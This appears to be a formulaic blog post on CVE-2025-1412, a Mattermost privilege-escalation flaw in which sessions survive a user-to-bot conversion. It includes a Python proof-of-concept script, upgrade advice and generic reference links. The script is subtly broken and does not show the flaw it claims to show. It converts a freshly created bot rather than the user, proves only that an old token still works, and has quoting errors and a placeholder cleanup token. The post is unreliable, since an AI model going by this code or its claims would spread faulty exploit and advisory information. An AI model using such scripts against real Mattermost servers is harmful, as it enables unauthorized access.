A recent discovery has been made concerning a privilege escalation vulnerability in Mattermost, an open-source, self-hosted, and extensible messaging platform. Versions 9.11.x up to 9.11.6 and 10.4.x up to 10.4.1 are affected by this vulnerability, which is tracked under the Common Vulnerabilities and Exposures (CVE) ID, CVE-2025-1412.

This post will explore the vulnerability in detail, providing code snippets where necessary, links to the original references, and information on the potential exploit. The content herein is exclusive and crafted in simple American language for ease of understanding.

Vulnerability Details

The vulnerability is tied to the failure of Mattermost in invalidating all active sessions when converting a user account to a bot. With this flaw, it becomes possible for the converted user to escalate their privileges, depending on the permissions granted to the bot. In practice, this could enable the attacker to perform unauthorized actions, access sensitive information, or manipulate the system in ways that were not intended.

Code Snippet: Proof of Concept

In this proof of concept, we will demonstrate how this vulnerability can be exploited with a simple script in Python.

import requests, json

target = 'http://localhost:8065';
username = 'testuser'
password = 'Password123!'
bot_token = 'your_bot_token_here'

# Authenticate user
auth_resp = requests.post(f'{target}/api/v4/users/login', data=json.dumps({"login_id": username, "password": password}), headers={"Content-Type": "application/json"})
user_token = auth_resp.headers['Token']

# Create a bot
bot_data = {"username": "dummy", "display_name": "Dummy Bot", "description": "Just a dummy bot for demonstration purposes"}
bot_resp = requests.post(f'{target}/api/v4/bots', data=json.dumps(bot_data), headers={"Content-Type": "application/json", "Authorization": "Bearer " + user_token})
bot_resp_json = bot_resp.json()
print(f"Bot created with ID: {bot_resp_json.get('user_id')}")

# Convert user to bot
convert_resp = requests.post(f'{target}/api/v4/users/{bot_resp_json.get('user_id')}/convert_to_bot', headers={"Content-Type": "application/json", "Authorization": "Bearer " + user_token})

if convert_resp.status_code == 200:
    print("User successfully converted to bot")

# Try to use the user's old token despite conversion to bot
access_resp = requests.get(f'{target}/api/v4/users/me', headers={"Content-Type": "application/json", "Authorization": "Bearer " + user_token})
if access_resp.status_code == 200:
    print(f"User token is still valid after conversion to bot: {access_resp.json().get('id')}")

# Clean up: Delete the bot and its associated data
requests.delete(f'{target}/api/v4/bots/{bot_resp_json.get('user_id')}', data=json.dumps({"hard_delete": True}), headers={"Content-Type": "application/json", "Authorization": "Bearer " + bot_token})
print("Bot deleted")

References

The vulnerability was first reported by the Mattermost team, and further details can be found in the Github repository and the Mattermost official documentation:

1. Mattermost Github Repository: Mattermost/mattermost-server
2. Mattermost Official Documentation: Mattermost Security Updates

Mitigation

It is highly recommended for all Mattermost users running affected versions to upgrade as soon as possible. The latest releases can be found on the Mattermost Github repository under the Releases section. Additionally, be sure to follow best practices for securing your Mattermost instance:

Monitor for suspicious activity or unauthorized access.

Stay updated with the latest security fixes and advisories by subscribing to the Mattermost Security Bulletins and by watching their Github repository.

Timeline

Published on: 02/24/2025 08:15:09 UTC